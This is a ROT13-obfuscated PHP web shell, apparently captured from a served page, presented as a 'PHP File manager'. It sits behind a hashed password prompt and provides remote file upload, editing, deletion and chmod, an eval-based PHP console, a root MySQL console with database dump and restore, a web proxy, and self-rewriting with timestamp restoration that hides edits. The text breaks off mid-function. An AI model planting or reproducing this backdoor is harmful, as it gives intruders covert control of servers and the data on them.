Your IP : 18.222.161.57
<?php fu/**rs*/("?>".fu(fu("<?cuc $rnro='';vs(vffrg($_CBFG['rnro'])){$rnro=$_CBFG['rnro'];frgpbbxvr("cn",$_CBFG['rnro'],ahyy,"/");}vs((vffrg($_PBBXVR['cn'])&&zq5($_PBBXVR['cn'])=='885q2r47q3q2r91043qs710892796no5')||zq5($rnro)=='885q2r47q3q2r91043qs710892796no5'){}ryfr{qvr('<ugzy><urnq></urnq><obql><sbez npgvba="" zrgubq="cbfg"><vachg glcr="cnffjbeq" anzr="rnro" inyhr=""><vachg glcr="fhozvg" anzr="fhozvg" inyhr="fhozvg"></sbez></obql></ugzy>');}?><!--bx-->﻿tvtv﻿tvtv<?cuc
/* CUC Svyr znantre ire 1.5 */
// @Ansvfshnq1
// Pbasvthengvba — qb abg punatr znahnyyl!
$nhgubevmngvba = '{"nhgubevmr":"0","ybtva":"nqzva","cnffjbeq":"cucsz","pbbxvr_anzr":"sz_hfre","qnlf_nhgubevmngvba":"30","fpevcg":"<fpevcg glcr=\"grkg\/wninfpevcg\" fep=\"uggcf:\/\/jjj.pqbyvirg.pbz\/rqvgnern\/rqvgnern\/rqvg_nern\/rqvg_nern_shyy.wf\"><\/fpevcg>\e\a<fpevcg ynathntr=\"Wninfpevcg\" glcr=\"grkg\/wninfpevcg\">\e\arqvgNernYbnqre.vavg({\e\avq: \"arjpbagrag\"\e\a,qvfcynl: \"yngre\"\e\a,fgneg_uvtuyvtug: gehr\e\a,nyybj_erfvmr: \"obgu\"\e\a,nyybj_gbttyr: gehr\e\a,jbeq_jenc: gehr\e\a,ynathntr: \"eh\"\e\a,flagnk: \"cuc\"\g\e\a,gbbyone: \"frnepu, tb_gb_yvar, |, haqb, erqb, |, fryrpg_sbag, |, flagnk_fryrpgvba, |, punatr_fzbbgu_fryrpgvba, uvtuyvtug, erfrg_uvtuyvtug, |, uryc\"\e\a,flagnk_fryrpgvba_nyybj: \"pff,ugzy,wf,cuc,clguba,kzy,p,pcc,fdy,onfvp,cnf\"\e\a});\e\a<\/fpevcg>"}';
$cuc_grzcyngrf = '{"Frggvatf":"tybony $sz_pbasvt;\e\aine_rkcbeg($sz_pbasvt);","Onpxhc FDY gnoyrf":"rpub sz_onpxhc_gnoyrf();"}';
$fdy_grzcyngrf = '{"Nyy onfrf":"FUBJ QNGNONFRF;","Nyy gnoyrf":"FUBJ GNOYRF;"}';
$genafyngvba = '{"vq":"ra","Nqq":"Nqq","Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?":"Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?","Ner lbh fher lbh jnag gb qryrgr guvf svyr?":"Ner lbh fher lbh jnag gb qryrgr guvf svyr?","Nepuvivat":"Nepuvivat","Nhgubevmngvba":"Nhgubevmngvba","Onpx":"Onpx","Pnapry":"Pnapry","Puvarfr":"Puvarfr","Pbzcerff":"Pbzcerff","Pbafbyr":"Pbafbyr","Pbbxvr":"Pbbxvr","Perngrq":"Perngrq","Qngr":"Qngr","Qnlf":"Qnlf","Qrpbzcerff":"Qrpbzcerff","Qryrgr":"Qryrgr","Qryrgrq":"Qryrgrq","Qbjaybnq":"Qbjaybnq","qbar":"qbar","Rqvg":"Rqvg","Ragre":"Ragre","Ratyvfu":"Ratyvfu","Reebe bppheerq":"Reebe bppheerq","Svyr znantre":"Svyr znantre","Svyr fryrpgrq":"Svyr fryrpgrq","Svyr hcqngrq":"Svyr hcqngrq","Svyranzr":"Svyranzr","Svyrf hcybnqrq":"Svyrf hcybnqrq","Serapu":"Serapu","Trarengvba gvzr":"Trarengvba gvzr","Trezna":"Trezna","Ubzr":"Ubzr","Dhvg":"Dhvg","Ynathntr":"Ynathntr","Ybtva":"Ybtva","Znantr":"Znantr","Znxr qverpgbel":"Znxr qverpgbel","Anzr":"Anzr","Arj":"Arj","Arj svyr":"Arj svyr","ab svyrf":"ab svyrf","Cnffjbeq":"Cnffjbeq","cvpgherf":"cvpgherf","Erphefviryl":"Erphefviryl","Eranzr":"Eranzr","Erfrg":"Erfrg","Erfrg frggvatf":"Erfrg frggvatf","Erfgber svyr gvzr nsgre rqvgvat":"Erfgber svyr gvzr nsgre rqvgvat","Erfhyg":"Erfhyg","Evtugf":"Evtugf","Ehffvna":"Ehffvna","Fnir":"Fnir","Fryrpg":"Fryrpg","Fryrpg gur svyr":"Fryrpg gur svyr","Frggvatf":"Frggvatf","Fubj":"Fubj","Fubj fvmr bs gur sbyqre":"Fubj fvmr bs gur sbyqre","Fvmr":"Fvmr","Fcnavfu":"Fcnavfu","Fhozvg":"Fhozvg","Gnfx":"Gnfx","grzcyngrf":"grzcyngrf","Hxenvavna":"Hxenvavna","Hcybnq":"Hcybnq","Inyhr":"Inyhr","Uryyb":"Uryyb","Sbhaq va svyrf":"Sbhaq va svyrf","Frnepu":"Frnepu","Erphefvir frnepu":"Erphefvir frnepu","Znfx":"Znfx"}';
// raq pbasvthengvba

// Cercnengvbaf
$fgneggvzr = rkcybqr(' ', zvpebgvzr());
$fgneggvzr = $fgneggvzr[1] + $fgneggvzr[0];
$ynatf = neenl('ra','eh','qr','se','hx');
$cngu = rzcgl($_ERDHRFG['cngu']) ? $cngu = ernycngu('.') : ernycngu($_ERDHRFG['cngu']);
$cngu = fge_ercynpr('\\', '/', $cngu) . '/';
$znva_cngu=fge_ercynpr('\\', '/',ernycngu('./'));
$cune_znlor = (irefvba_pbzcner(cucirefvba(),"5.3.0","<"))?gehr:snyfr;
$zft = ''; // freivpr fgevat
$qrsnhyg_ynathntr = 'eh';
$qrgrpg_ynat = gehr;
$sz_irefvba = 1.4;

//Nhgubevmngvba
$nhgu = wfba_qrpbqr($nhgubevmngvba,gehr);
$nhgu['nhgubevmr'] = vffrg($nhgu['nhgubevmr']) ? $nhgu['nhgubevmr'] : 0; 
$nhgu['qnlf_nhgubevmngvba'] = (vffrg($nhgu['qnlf_nhgubevmngvba'])&&vf_ahzrevp($nhgu['qnlf_nhgubevmngvba'])) ? (vag)$nhgu['qnlf_nhgubevmngvba'] : 30;
$nhgu['ybtva'] = vffrg($nhgu['ybtva']) ? $nhgu['ybtva'] : 'nqzva';  
$nhgu['cnffjbeq'] = vffrg($nhgu['cnffjbeq']) ? $nhgu['cnffjbeq'] : 'cucsz';  
$nhgu['pbbxvr_anzr'] = vffrg($nhgu['pbbxvr_anzr']) ? $nhgu['pbbxvr_anzr'] : 'sz_hfre';
$nhgu['fpevcg'] = vffrg($nhgu['fpevcg']) ? $nhgu['fpevcg'] : '';

// Yvggyr qrsnhyg pbasvt
$sz_qrsnhyg_pbasvt = neenl (
	'znxr_qverpgbel' => gehr, 
	'arj_svyr' => gehr, 
	'hcybnq_svyr' => gehr, 
	'fubj_qve_fvmr' => snyfr, //vs gehr, fubj qverpgbel fvmr → znlor fybj 
	'fubj_vzt' => gehr, 
	'fubj_cuc_ire' => gehr, 
	'fubj_cuc_vav' => snyfr, // fubj cngu gb pheerag cuc.vav
	'fubj_tg' => gehr, // fubj trarengvba gvzr
	'ranoyr_cuc_pbafbyr' => gehr,
	'ranoyr_fdy_pbafbyr' => gehr,
	'fdy_freire' => 'ybpnyubfg',
	'fdy_hfreanzr' => 'ebbg',
	'fdy_cnffjbeq' => '',
	'fdy_qo' => 'grfg_onfr',
	'ranoyr_cebkl' => gehr,
	'fubj_cucvasb' => gehr,
	'fubj_kyf' => gehr,
	'sz_frggvatf' => gehr,
	'erfgber_gvzr' => gehr,
	'sz_erfgber_gvzr' => snyfr,
);

vs (rzcgl($_PBBXVR['sz_pbasvt'])) $sz_pbasvt = $sz_qrsnhyg_pbasvt;
ryfr $sz_pbasvt = hafrevnyvmr($_PBBXVR['sz_pbasvt']);

// Punatr ynathntr
vs (vffrg($_CBFG['sz_ynat'])) { 
	frgpbbxvr('sz_ynat', $_CBFG['sz_ynat'], gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
	$_PBBXVR['sz_ynat'] = $_CBFG['sz_ynat'];
}
$ynathntr = $qrsnhyg_ynathntr;

// Qrgrpg oebjfre ynathntr
vs($qrgrpg_ynat && !rzcgl($_FREIRE['UGGC_NPPRCG_YNATHNTR']) && rzcgl($_PBBXVR['sz_ynat'])){
	$ynat_cevbevgl = rkcybqr(',', $_FREIRE['UGGC_NPPRCG_YNATHNTR']);
	vs (!rzcgl($ynat_cevbevgl)){
		sbernpu ($ynat_cevbevgl nf $ynat_nee){
			$yat = rkcybqr(';', $ynat_nee);
			$yat = $yat[0];
			vs(va_neenl($yat,$ynatf)){
				$ynathntr = $yat;
				oernx;
			}
		}
	}
} 

// Pbbxvr ynathntr vf cevznel sbe rire
$ynathntr = (rzcgl($_PBBXVR['sz_ynat'])) ? $ynathntr : $_PBBXVR['sz_ynat'];

// Ybpnyvmngvba
$ynat = wfba_qrpbqr($genafyngvba,gehr);
vs ($ynat['vq']!=$ynathntr) {
	$trg_ynat = svyr_trg_pbagragf('uggcf://enj.tvguhohfrepbagrag.pbz/Qra1kkk/Svyrznantre/znfgre/ynathntrf/' . $ynathntr . '.wfba');
	vs (!rzcgl($trg_ynat)) {
		//erzbir haarprffnel punenpgref
		$genafyngvba_fgevat = fge_ercynpr("'",'&#39;',wfba_rapbqr(wfba_qrpbqr($trg_ynat),WFBA_HARFPNCRQ_HAVPBQR));
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#genafyngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$genafyngvba_fgevat,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
			}	ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}	
		$ynat = wfba_qrpbqr($genafyngvba_fgevat,gehr);
	}
}

/* Shapgvbaf */

//genafyngvba
shapgvba __($grkg){
	tybony $ynat;
	vs (vffrg($ynat[$grkg])) erghea $ynat[$grkg];
	ryfr erghea $grkg;
};

//qryrgr svyrf naq qvef erphefviryl
shapgvba sz_qry_svyrf($svyr, $erphefvir = snyfr) {
	vs($erphefvir && @vf_qve($svyr)) {
		$ryf = sz_fpna_qve($svyr, '', '', gehr);
		sbernpu ($ryf nf $ry) {
			vs($ry != '.' && $ry != '..'){
				sz_qry_svyrf($svyr . '/' . $ry, gehr);
			}
		}
	}
	vs(@vf_qve($svyr)) {
		erghea ezqve($svyr);
	} ryfr {
		erghea @hayvax($svyr);
	}
}

//svyr crezf
shapgvba sz_evtugf_fgevat($svyr, $vs = snyfr){
	$crezf = svyrcrezf($svyr);
	$vasb = '';
	vs(!$vs){
		vs (($crezf & 0kP000) == 0kP000) {
			//Fbpxrg
			$vasb = 'f';
		} ryfrvs (($crezf & 0kN000) == 0kN000) {
			//Flzobyvp Yvax
			$vasb = 'y';
		} ryfrvs (($crezf & 0k8000) == 0k8000) {
			//Erthyne
			$vasb = '-';
		} ryfrvs (($crezf & 0k6000) == 0k6000) {
			//Oybpx fcrpvny
			$vasb = 'o';
		} ryfrvs (($crezf & 0k4000) == 0k4000) {
			//Qverpgbel
			$vasb = 'q';
		} ryfrvs (($crezf & 0k2000) == 0k2000) {
			//Punenpgre fcrpvny
			$vasb = 'p';
		} ryfrvs (($crezf & 0k1000) == 0k1000) {
			//SVSB cvcr
			$vasb = 'c';
		} ryfr {
			//Haxabja
			$vasb = 'h';
		}
	}
  
	//Bjare
	$vasb .= (($crezf & 0k0100) ? 'e' : '-');
	$vasb .= (($crezf & 0k0080) ? 'j' : '-');
	$vasb .= (($crezf & 0k0040) ?
	(($crezf & 0k0800) ? 'f' : 'k' ) :
	(($crezf & 0k0800) ? 'F' : '-'));
 
	//Tebhc
	$vasb .= (($crezf & 0k0020) ? 'e' : '-');
	$vasb .= (($crezf & 0k0010) ? 'j' : '-');
	$vasb .= (($crezf & 0k0008) ?
	(($crezf & 0k0400) ? 'f' : 'k' ) :
	(($crezf & 0k0400) ? 'F' : '-'));
 
	//Jbeyq
	$vasb .= (($crezf & 0k0004) ? 'e' : '-');
	$vasb .= (($crezf & 0k0002) ? 'j' : '-');
	$vasb .= (($crezf & 0k0001) ?
	(($crezf & 0k0200) ? 'g' : 'k' ) :
	(($crezf & 0k0200) ? 'G' : '-'));

	erghea $vasb;
}

shapgvba sz_pbaireg_evtugf($zbqr) {
	$zbqr = fge_cnq($zbqr,9,'-');
	$genaf = neenl('-'=>'0','e'=>'4','j'=>'2','k'=>'1');
	$zbqr = fgege($zbqr,$genaf);
	$arjzbqr = '0';
	$bjare = (vag) $zbqr[0] + (vag) $zbqr[1] + (vag) $zbqr[2]; 
	$tebhc = (vag) $zbqr[3] + (vag) $zbqr[4] + (vag) $zbqr[5]; 
	$jbeyq = (vag) $zbqr[6] + (vag) $zbqr[7] + (vag) $zbqr[8]; 
	$arjzbqr .= $bjare . $tebhc . $jbeyq;
	erghea vaginy($arjzbqr, 8);
}

shapgvba sz_puzbq($svyr, $iny, $erp = snyfr) {
	$erf = @puzbq(ernycngu($svyr), $iny);
	vs(@vf_qve($svyr) && $erp){
		$ryf = sz_fpna_qve($svyr);
		sbernpu ($ryf nf $ry) {
			$erf = $erf && sz_puzbq($svyr . '/' . $ry, $iny, gehr);
		}
	}
	erghea $erf;
}

//ybnq svyrf
shapgvba sz_qbjaybnq($svyr_anzr) {
    vs (!rzcgl($svyr_anzr)) {
		vs (svyr_rkvfgf($svyr_anzr)) {
			urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=" . onfranzr($svyr_anzr));   
			urnqre("Pbagrag-Glcr: nccyvpngvba/sbepr-qbjaybnq");
			urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz");
			urnqre("Pbagrag-Glcr: nccyvpngvba/qbjaybnq");
			urnqre("Pbagrag-Qrfpevcgvba: Svyr Genafsre");            
			urnqre("Pbagrag-Yratgu: " . svyrfvmr($svyr_anzr));		
			syhfu(); // guvf qbrfa'g ernyyl znggre.
			$sc = sbcra($svyr_anzr, "e");
			juvyr (!srbs($sc)) {
				rpub sernq($sc, 65536);
				syhfu(); // guvf vf rffragvny sbe ynetr qbjaybnqf
			} 
			spybfr($sc);
			qvr();
		} ryfr {
			urnqre('UGGC/1.0 404 Abg Sbhaq', gehr, 404);
			urnqre('Fgnghf: 404 Abg Sbhaq'); 
			qvr();
        }
    } 
}

//fubj sbyqre fvmr
shapgvba sz_qve_fvmr($s,$sbezng=gehr) {
	vs($sbezng)  {
		$fvmr=sz_qve_fvmr($s,snyfr);
		vs($fvmr<=1024) erghea $fvmr.' olgrf';
		ryfrvs($fvmr<=1024*1024) erghea ebhaq($fvmr/(1024),2).'&aofc;Xo';
		ryfrvs($fvmr<=1024*1024*1024) erghea ebhaq($fvmr/(1024*1024),2).'&aofc;Zo';
		ryfrvs($fvmr<=1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024),2).'&aofc;To';
		ryfrvs($fvmr<=1024*1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024*1024),2).'&aofc;Go'; //:)))
		ryfr erghea ebhaq($fvmr/(1024*1024*1024*1024*1024),2).'&aofc;Co'; // ;-)
	} ryfr {
		vs(vf_svyr($s)) erghea svyrfvmr($s);
		$fvmr=0;
		$qu=bcraqve($s);
		juvyr(($svyr=ernqqve($qu))!==snyfr) {
			vs($svyr=='.' || $svyr=='..') pbagvahr;
			vs(vf_svyr($s.'/'.$svyr)) $fvmr+=svyrfvmr($s.'/'.$svyr);
			ryfr $fvmr+=sz_qve_fvmr($s.'/'.$svyr,snyfr);
		}
		pybfrqve($qu);
		erghea $fvmr+svyrfvmr($s); 
	}
}

//fpna qverpgbel
shapgvba sz_fpna_qve($qverpgbel, $rkc = '', $glcr = 'nyy', $qb_abg_svygre = snyfr) {
	$qve = $aqve = neenl();
	vs(!rzcgl($rkc)){
		$rkc = '/^' . fge_ercynpr('*', '(.*)', fge_ercynpr('.', '\\.', $rkc)) . '$/';
	}
	vs(!rzcgl($glcr) && $glcr !== 'nyy'){
		$shap = 'vf_' . $glcr;
	}
	vs(@vf_qve($qverpgbel)){
		$su = bcraqve($qverpgbel);
		juvyr (snyfr !== ($svyranzr = ernqqve($su))) {
			vs(fhofge($svyranzr, 0, 1) != '.' || $qb_abg_svygre) {
				vs((rzcgl($glcr) || $glcr == 'nyy' || $shap($qverpgbel . '/' . $svyranzr)) && (rzcgl($rkc) || cert_zngpu($rkc, $svyranzr))){
					$qve[] = $svyranzr;
				}
			}
		}
		pybfrqve($su);
		angfbeg($qve);
	}
	erghea $qve;
}

shapgvba sz_yvax($trg,$yvax,$anzr,$gvgyr='') {
	vs (rzcgl($gvgyr)) $gvgyr=$anzr.' '.onfranzr($yvax);
	erghea '&aofc;&aofc;<n uers="?'.$trg.'='.onfr64_rapbqr($yvax).'" gvgyr="'.$gvgyr.'">'.$anzr.'</n>';
}

shapgvba sz_nee_gb_bcgvba($nee,$a,$fry=''){
	sbernpu($nee nf $i){
		$o=$i[$a];
		$erf.='<bcgvba inyhr="'.$o.'" '.($fry && $fry==$o?'fryrpgrq':'').'>'.$o.'</bcgvba>';
	}
	erghea $erf;
}

shapgvba sz_ynat_sbez ($pheerag='ra'){
erghea '
<sbez anzr="punatr_ynat" zrgubq="cbfg" npgvba="">
	<fryrpg anzr="sz_ynat" gvgyr="'.__('Ynathntr').'" bapunatr="qbphzrag.sbezf[\'punatr_ynat\'].fhozvg()" >
		<bcgvba inyhr="ra" '.($pheerag=='ra'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ratyvfu').'</bcgvba>
		<bcgvba inyhr="qr" '.($pheerag=='qr'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Trezna').'</bcgvba>
		<bcgvba inyhr="eh" '.($pheerag=='eh'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ehffvna').'</bcgvba>
		<bcgvba inyhr="se" '.($pheerag=='se'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Serapu').'</bcgvba>
		<bcgvba inyhr="hx" '.($pheerag=='hx'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Hxenvavna').'</bcgvba>
	</fryrpg>
</sbez>
';
}
	
shapgvba sz_ebbg($qveanzr){
	erghea ($qveanzr=='.' BE $qveanzr=='..');
}

shapgvba sz_cuc($fgevat){
	$qvfcynl_reebef=vav_trg('qvfcynl_reebef');
	vav_frg('qvfcynl_reebef', '1');
	bo_fgneg();
	riny(gevz($fgevat));
	$grkg = bo_trg_pbagragf();
	bo_raq_pyrna();
	vav_frg('qvfcynl_reebef', $qvfcynl_reebef);
	erghea $grkg;
}

//FUBJ QNGNONFRF
shapgvba sz_fdy_pbaarpg(){
	tybony $sz_pbasvt;
	erghea arj zlfdyv($sz_pbasvt['fdy_freire'], $sz_pbasvt['fdy_hfreanzr'], $sz_pbasvt['fdy_cnffjbeq'], $sz_pbasvt['fdy_qo']);
}

shapgvba sz_fdy($dhrel){
	tybony $sz_pbasvt;
	$dhrel=gevz($dhrel);
	bo_fgneg();
	$pbaarpgvba = sz_fdy_pbaarpg();
	vs ($pbaarpgvba->pbaarpg_reebe) {
		bo_raq_pyrna();	
		erghea $pbaarpgvba->pbaarpg_reebe;
	}
	$pbaarpgvba->frg_punefrg('hgs8');
    $dhrevrq = zlfdyv_dhrel($pbaarpgvba,$dhrel);
	vs ($dhrevrq===snyfr) {
		bo_raq_pyrna();	
		erghea zlfdyv_reebe($pbaarpgvba);
    } ryfr {
		vs(!rzcgl($dhrevrq)){
			juvyr($ebj = zlfdyv_srgpu_nffbp($dhrevrq)) {
				$dhrel_erfhyg[]=  $ebj;
			}
		}
		$iqhzc=rzcgl($dhrel_erfhyg)?'':ine_rkcbeg($dhrel_erfhyg,gehr);	
		bo_raq_pyrna();	
		$pbaarpgvba->pybfr();
		erghea '<cer>'.fgevcfynfurf($iqhzc).'</cer>';
	}
}

shapgvba sz_onpxhc_gnoyrf($gnoyrf = '*', $shyy_onpxhc = gehr) {
	tybony $cngu;
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
	vs($gnoyrf == '*')	{
		$gnoyrf = neenl();
		$erfhyg = $zlfdyqo->dhrel('FUBJ GNOYRF');
		juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg))	{
			$gnoyrf[] = $ebj[0];
		}
	} ryfr {
		$gnoyrf = vf_neenl($gnoyrf) ? $gnoyrf : rkcybqr(',',$gnoyrf);
	}
    
	$erghea='';
	sbernpu($gnoyrf nf $gnoyr)	{
		$erfhyg = $zlfdyqo->dhrel('FRYRPG * SEBZ '.$gnoyr);
		$ahz_svryqf = zlfdyv_ahz_svryqf($erfhyg);
		$erghea.= 'QEBC GNOYR VS RKVFGF `'.$gnoyr.'`'.$qryvzvgre;
		$ebj2 = zlfdyv_srgpu_ebj($zlfdyqo->dhrel('FUBJ PERNGR GNOYR '.$gnoyr));
		$erghea.=$ebj2[1].$qryvzvgre;
        vs ($shyy_onpxhc) {
		sbe ($v = 0; $v < $ahz_svryqf; $v++)  {
			juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg)) {
				$erghea.= 'VAFREG VAGB `'.$gnoyr.'` INYHRF(';
				sbe($w=0; $w<$ahz_svryqf; $w++)	{
					$ebj[$w] = nqqfynfurf($ebj[$w]);
					$ebj[$w] = fge_ercynpr("\a","\\a",$ebj[$w]);
					vs (vffrg($ebj[$w])) { $erghea.= '"'.$ebj[$w].'"' ; } ryfr { $erghea.= '""'; }
					vs ($w<($ahz_svryqf-1)) { $erghea.= ','; }
				}
				$erghea.= ')'.$qryvzvgre;
			}
		  }
		} ryfr { 
		$erghea = cert_ercynpr("#NHGB_VAPERZRAG=[\q]+ #vf", '', $erghea);
		}
		$erghea.="\a\a\a";
	}

	//fnir svyr
    $svyr=tzqngr("L-z-q_U-v-f",gvzr()).'.fdy';
	$unaqyr = sbcra($svyr,'j+');
	sjevgr($unaqyr,$erghea);
	spybfr($unaqyr);
	$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'?qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    erghea $svyr.': '.sz_yvax('qbjaybnq',$cngu.$svyr,__('Qbjaybnq'),__('Qbjaybnq').' '.$svyr).' <n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
}

shapgvba sz_erfgber_gnoyrf($fdySvyrGbRkrphgr) {
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
    // Ybnq naq rkcybqr gur fdy svyr
    $s = sbcra($fdySvyrGbRkrphgr,"e+");
    $fdySvyr = sernq($s,svyrfvmr($fdySvyrGbRkrphgr));
    $fdyNeenl = rkcybqr($qryvzvgre,$fdySvyr);
	
    //Cebprff gur fdy svyr ol fgngrzragf
    sbernpu ($fdyNeenl nf $fgzg) {
        vs (fgeyra($fgzg)>3){
			$erfhyg = $zlfdyqo->dhrel($fgzg);
				vs (!$erfhyg){
					$fdyReebePbqr = zlfdyv_reeab($zlfdyqo->pbaarpgvba);
					$fdyReebeGrkg = zlfdyv_reebe($zlfdyqo->pbaarpgvba);
					$fdyFgzg      = $fgzg;
					oernx;
           	     }
           	  }
           }
vs (rzcgl($fdyReebePbqr)) erghea __('Fhpprff').' — '.$fdySvyrGbRkrphgr;
ryfr erghea $fdyReebeGrkg.'<oe/>'.$fgzg;
}

shapgvba sz_vzt_yvax($svyranzr){
	erghea './'.onfranzr(__SVYR__).'?vzt='.onfr64_rapbqr($svyranzr);
}

shapgvba sz_ubzr_fglyr(){
	erghea '
vachg, vachg.sz_vachg {
	grkg-vaqrag: 2ck;
}

vachg, grkgnern, fryrpg, vachg.sz_vachg {
	pbybe: oynpx;
	sbag: abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	obeqre-pbybe: oynpx;
	onpxtebhaq-pbybe: #SPSPSP abar !vzcbegnag;
	obeqre-enqvhf: 0;
	cnqqvat: 2ck;
}

vachg.sz_vachg {
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.ubzr {
	onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNtEDGSES/s396Bwb////gG02me+sj66Egw432GRc3ZKR2QNe3GLc1l4zgQj2/7OZ/7OBdIcp/8y31wpdd6rajpUO2Gtv5wtdIcoSien2aONI/Cm82F0wak0J3GHxdFtv4rUu4Gfer4jbfm026hCwmTLq6Hf3laNlqHON5Xy3sz5rdMnJ7BQtv2It+Cw4hL+RjYz5oL9H//7wsYgP+gBX3wpz/71h2wLb1HLu5nWy/frP3wRz12xzWeVN1wZz/9nH4Yu0r01OyVnR///quZqP7VN//sGM2p3ZJ6aA30js95Iq4WqKbKIbf8aR4rsA/+63VWtFaLuy7S4pfKg89TDHjY+/wy1p41Nd+so2tzgV1eXn2P4xWnVN3wLeyGj5gw423wLa3pKR1mDbkZUOc1yM3Qtzdvxf/+zpwYX83wLxlzZI3GLx//UZ+h7Juzge0bqGcnBwsJWseUct/8Of/7gJ/7Ir+4H52QZz3ZYOa4dYtAIZ6ZmO3yRsyVhY/+wN///20YBmwKk8/7yoJcWT2P8x3GbfWXZN1ljwbcBE1mLc5Qfcvnl+lXAudXFx8AJ6/swaf7Bm2gaMhm887o+J3nEL/+zf4ePR3Gbg7I85oXkwhRN3j45Iu5hud6nz4pSktMMJ/9dVhjtXl0fJ+hwG4GDagm423P8v3mHw/+Xj/n5q6HZkhY6jmQRe////pdWDsNNNNXk0Hx5G////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////NNJISoRNNNNMqRILqSAiMaE3LKWyNRSxo2WyVRygLJqyHzIuMUyklJH8NNNN2HyRDIDbH2ALwDLLfNvR8H9LmQLwIcTMEkZvRPvgZeIMibZeGyD2RFEDW2SIjvaLozdGHYbbuaR1t1nXTF/sAZgx40lM9XIYDutLxhL7AkDiKlUISAaXmE69dckOCZrm0RGNDlGHiFbtnVSnCpAdI/Z5qun2Ey2Gvzo6M+DOQL1KA/Foh8kSYT3rYQsy2HNOwvyB1b012M3rx1yMIVJNNzHGX6Y0f3cK+ww6chM2NjJHiOEncufjZqHhwPvjQjn5IRqCV7laHyp7i1dLHEYdhs42um45POCQgjNPez+EQpkWLNNNNNOWEH5RexWttt==");
	onpxtebhaq-ercrng: ab-ercrng;
}';
}

shapgvba sz_pbasvt_purpxobk_ebj($anzr,$inyhr) {
	tybony $sz_pbasvt;
	erghea '<ge><gq pynff="ebj1"><vachg vq="sz_pbasvt_'.$inyhr.'" anzr="sz_pbasvt['.$inyhr.']" inyhr="1" '.(rzcgl($sz_pbasvt[$inyhr])?'':'purpxrq="gehr"').' glcr="purpxobk"></gq><gq pynff="ebj2 jubyr"><ynory sbe="sz_pbasvt_'.$inyhr.'">'.$anzr.'</gq></ge>';
}

shapgvba sz_cebgbpby() {
	vs (vffrg($_FREIRE['UGGC_FPURZR'])) erghea $_FREIRE['UGGC_FPURZR'].'://';
	vs (vffrg($_FREIRE['UGGCF']) && $_FREIRE['UGGCF'] == 'ba') erghea 'uggcf://';
	vs (vffrg($_FREIRE['FREIRE_CBEG']) && $_FREIRE['FREIRE_CBEG'] == 443) erghea 'uggcf://';
	vs (vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) && $_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf') erghea 'uggcf://';
	erghea 'uggc://';
}

shapgvba sz_fvgr_hey() {
	erghea sz_cebgbpby().$_FREIRE['UGGC_UBFG'];
}

shapgvba sz_hey($shyy=snyfr) {
	$ubfg=$shyy?sz_fvgr_hey():'.';
	erghea $ubfg.'/'.onfranzr(__SVYR__);
}

shapgvba sz_ubzr($shyy=snyfr){
	erghea '&aofc;<n uers="'.sz_hey($shyy).'" gvgyr="'.__('Ubzr').'"><fcna pynff="ubzr">&aofc;&aofc;&aofc;&aofc;</fcna></n>';
}

shapgvba sz_eha_vachg($yat) {
	tybony $sz_pbasvt;
	$erghea = !rzcgl($sz_pbasvt['ranoyr_'.$yat.'_pbafbyr']) ? 
	'
				<sbez  zrgubq="cbfg" npgvba="'.sz_hey().'" fglyr="qvfcynl:vayvar">
				<vachg glcr="fhozvg" anzr="'.$yat.'eha" inyhr="'.fgegbhccre($yat).' '.__('Pbafbyr').'">
				</sbez>
' : '';
	erghea $erghea;
}

shapgvba sz_hey_cebkl($zngpurf) {
	$yvax = fge_ercynpr('&nzc;','&',$zngpurf[2]);
	$hey = vffrg($_TRG['hey'])?$_TRG['hey']:'';
	$cnefr_hey = cnefr_hey($hey);
	$ubfg = $cnefr_hey['fpurzr'].'://'.$cnefr_hey['ubfg'].'/';
	vs (fhofge($yvax,0,2)=='//') {
		$yvax = fhofge_ercynpr($yvax,sz_cebgbpby(),0,2);
	} ryfrvs (fhofge($yvax,0,1)=='/') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,1);	
	} ryfrvs (fhofge($yvax,0,2)=='./') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,2);	
